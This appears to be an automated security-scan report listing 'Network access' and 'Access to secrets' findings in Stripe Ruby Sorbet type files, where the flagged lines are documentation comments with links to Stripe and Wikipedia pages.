  • Network accessline 3771
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3789
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 3790
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 3791
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 3844
    #       # If you intend to collect a fee and you need a more robust reporting experience, using       # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount)
  • Network accessline 3845
    # If you intend to collect a fee and you need a more robust reporting experience, using       # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount)       # might be a bet
  • Network accessline 3846
    # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount)
  • Network accessline 3861
    def initialize(amount: nil, destination: nil); end     end     # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#ze
  • Network accessline 3862
    end     # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to 
  • Network accessline 3863
    # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥
  • Network accessline 3873
    }     def amount_details=(_amount_details); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe
  • Network accessline 3874
    def amount_details=(_amount_details); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee coll
  • Network accessline 3875
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 3890
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }     def capture_method=(_capture_method); end     # Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) 
  • Network accessline 3891
    def capture_method=(_capture_method); end     # Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) immediately. This parameter defaults to `false`. When creating and confirming a Pa
  • Network accessline 3892
    # Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) immediately. This parameter defaults to `false`. When creating and confirming a PaymentIntent at the same time, you can also pro
  • Network accessline 3907
    [Credential-related source omitted]
  • Network accessline 3908
    [Credential-related source omitted]
  • Network accessline 3909
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 3916
    # Payment methods attached to other Customers cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not
  • Network accessline 3917
    #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent 
  • Network accessline 3918
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be
  • Network accessline 3925
    # Payment methods attached to other Accounts cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not 
  • Network accessline 3926
    #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent h
  • Network accessline 3927
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee
  • Network accessline 3935
    sig { params(_description: T.nilable(String)).returns(T.nilable(String)) }     def description=(_description); end     # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter f
  • Network accessline 3936
    def description=(_description); end     # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter for simpler integrations that don't handle customer actions, such as [saving car
  • Network accessline 3937
    # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter for simpler integrations that don't handle customer actions, such as [saving cards without authentication](https://docs.
  • Network accessline 3959
    }     def hooks=(_hooks); end     # ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm).
  • Network accessline 3960
    def hooks=(_hooks); end     # ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm).     sig { returns(T.nilab
  • Network accessline 3961
    # ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm).
  • Network accessline 3964
    sig { params(_mandate: T.nilable(String)).returns(T.nilable(String)) }     def mandate=(_mandate); end     # This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.c
  • Network accessline 3965
    def mandate=(_mandate); end     # This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm).     sig { ret
  • Network accessline 3966
    # This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm).
  • Network accessline 3971
    }     def mandate_data=(_mandate_data); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 3972
    def mandate_data=(_mandate_data); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 3973
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 3978
    }     def metadata=(_metadata); end     # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge
  • Network accessline 3979
    def metadata=(_metadata); end     # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them 
  • Network accessline 3980
    # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay
  • Network accessline 3985
    }     def off_session=(_off_session); end     # The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 3986
    def off_session=(_off_session); end     # The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).     sig { returns(T.nilable(Stri
  • Network accessline 3987
    # The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 3997
    }     def payment_details=(_payment_details); end     # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent.
  • Network accessline 3998
    def payment_details=(_payment_details); end     # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent.     #
  • Network accessline 3999
    # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent.
  • Network accessline 4000
    #     # If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that 
  • Network accessline 4001
    # If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that you ex
  • Network accessline 4002
    # If the payment method is attached to a Customer, you must also provide the ID of that Customer as the [customer](https://api.stripe.com#create_payment_intent-customer) parameter of this PaymentIntent.
  • Network accessline 4006
    sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) }     def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use
  • Network accessline 4007
    def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent.     sig { returns(T.nilable(String)) }
  • Network accessline 4008
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent.
  • Network accessline 4012
    def payment_method_configuration=(_payment_method_configuration); end     # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_i
  • Network accessline 4013
    # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)     # property on the 
  • Network accessline 4014
    # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 4027
    }     def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods f
  • Network accessline 4028
    def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from yo
  • Network accessline 4029
    # The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/sett
  • Network accessline 4034
    }     def payment_method_types=(_payment_method_types); end     # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).
  • Network accessline 4035
    def payment_method_types=(_payment_method_types); end     # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).     sig { returns(T.nilable(PaymentIntentCreateParams::RadarOptions)) }
  • Network accessline 4036
    # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).
  • Network accessline 4041
    }     def radar_options=(_radar_options); end     # Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account
  • Network accessline 4042
    def radar_options=(_radar_options); end     # Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account/email
  • Network accessline 4043
    # Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 4046
    sig { params(_receipt_email: T.nilable(String)).returns(T.nilable(String)) }     def receipt_email=(_receipt_email); end     # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's
  • Network accessline 4047
    def receipt_email=(_receipt_email); end     # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. If you'd prefer to redirect to a mobile application, you can altern
  • Network accessline 4048
    # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. If you'd prefer to redirect to a mobile application, you can alternatively supply an application URI scheme. Th
  • Network accessline 4069
    }     def shipping=(_shipping); end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, 
  • Network accessline 4070
    def shipping=(_shipping); end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, includ
  • Network accessline 4071
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 4072
    #     # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.     sig { returns(T.nilable(String)) 
  • Network accessline 4073
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 4076
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descripto
  • Network accessline 4077
    def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f
  • Network accessline 4078
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 4082
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # The parameters that you can use to automatically create a Transfer.     # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/conn
  • Network accessline 4083
    # The parameters that you can use to automatically create a Transfer.     # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).     sig { returns(T.nilable(PaymentIntentCreateParams::
  • Network accessline 4084
    # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 4089
    }     def transfer_data=(_transfer_data); end     # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).
  • Network accessline 4090
    def transfer_data=(_transfer_data); end     # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).     sig
  • Network accessline 4091
    # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_increment_authorization_params.rbi

  • Network accessline 120
    end         class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate
  • Network accessline 121
    class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq
  • Network accessline 122
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 130
    def initialize(total_tax_amount: nil); end         end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 131
    end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.         #
  • Network accessline 132
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 172
    }         def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 173
    def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.         sig { returns(I
  • Network accessline 174
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 197
    end       class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or 
  • Network accessline 198
    class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0
  • Network accessline 199
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 220
    end       class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than 
  • Network accessline 221
    class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t
  • Network accessline 222
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 230
    def initialize(total_tax_amount: nil); end       end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 231
    end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.       #
  • Network accessline 232
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 274
    class Inputs < ::Stripe::RequestParams         class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 275
    class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id           sig { returns(String) }
  • Network accessline 276
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 347
    }     def amount_details=(_amount_details); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe
  • Network accessline 348
    def amount_details=(_amount_details); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee coll
  • Network accessline 349
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 369
    }     def hooks=(_hooks); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 370
    def hooks=(_hooks); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca
  • Network accessline 371
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 383
    }     def payment_details=(_payment_details); end     # Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For informatio
  • Network accessline 384
    def payment_details=(_payment_details); end     # Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For information abou
  • Network accessline 385
    # Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit
  • Network accessline 389
    def statement_descriptor=(_statement_descriptor); end     # The parameters used to automatically create a transfer after the payment is captured.     # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/
  • Network accessline 390
    # The parameters used to automatically create a transfer after the payment is captured.     # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).     sig { returns(T.nilable(PaymentIn
  • Network accessline 391
    # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_retrieve_params.rbi

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_search_params.rbi

  • Network accessline 20
    sig { params(_page: T.nilable(String)).returns(T.nilable(String)) }     def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query 
  • Network accessline 21
    def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for payment intents](https://docs.stripe.com/search#query-fields-
  • Network accessline 22
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for payment intents](https://docs.stripe.com/search#query-fields-for-payment-intents).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_update_params.rbi

  • Network accessline 120
    end         class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate
  • Network accessline 121
    class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq
  • Network accessline 122
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 130
    def initialize(total_tax_amount: nil); end         end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 131
    end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.         #
  • Network accessline 132
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 170
    }         def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 171
    def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.         sig { returns(I
  • Network accessline 172
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 195
    end       class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or 
  • Network accessline 196
    class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0
  • Network accessline 197
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 218
    end       class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than 
  • Network accessline 219
    class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t
  • Network accessline 220
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 228
    def initialize(total_tax_amount: nil); end       end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 229
    end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.       #
  • Network accessline 230
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 268
    class Inputs < ::Stripe::RequestParams         class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 269
    class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id           sig { returns(String) }
  • Network accessline 270
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 380
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 381
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 382
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 400
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 401
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 402
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 628
    class Promptpay < ::Stripe::RequestParams; end       class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra
  • Network accessline 629
    class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. 
  • Network accessline 630
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 899
    }       def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 900
    def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 901
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 997
    }       def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 998
    def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.       sig { returns(T.nilable(PaymentIntentUpdateParams::PaymentMethodData::RadarOpti
  • Network accessline 999
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 1146
    [Credential-related source omitted]
  • Access to secretsline 1147
    [Credential-related source omitted]
  • Network accessline 1741
    # Installment configuration for payments attempted on this PaymentIntent.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1742
    #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).         sig {
  • Network accessline 1743
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1771
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }         def network=(_network); end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-au
  • Network accessline 1772
    def network=(_network); end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1773
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1778
    [Credential-related source omitted]
  • Network accessline 1779
    [Credential-related source omitted]
  • Network accessline 1780
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1785
    [Credential-related source omitted]
  • Network accessline 1786
    [Credential-related source omitted]
  • Network accessline 1787
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1790
    sig { params(_request_multicapture: T.nilable(String)).returns(T.nilable(String)) }         def request_multicapture=(_request_multicapture); end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for t
  • Network accessline 1791
    def request_multicapture=(_request_multicapture); end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1792
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1795
    sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) }         def request_overcapture=(_request_overcapture); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your cust
  • Network accessline 1796
    def request_overcapture=(_request_overcapture); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c
  • Network accessline 1797
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1887
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }         def capture_method=(_capture_method); end         # Request ability to capture this payment beyond the standard [authorization validity window](https://do
  • Network accessline 1888
    def capture_method=(_capture_method); end         # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)       
  • Network accessline 1889
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1894
    [Credential-related source omitted]
  • Network accessline 1895
    [Credential-related source omitted]
  • Network accessline 1896
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 2620
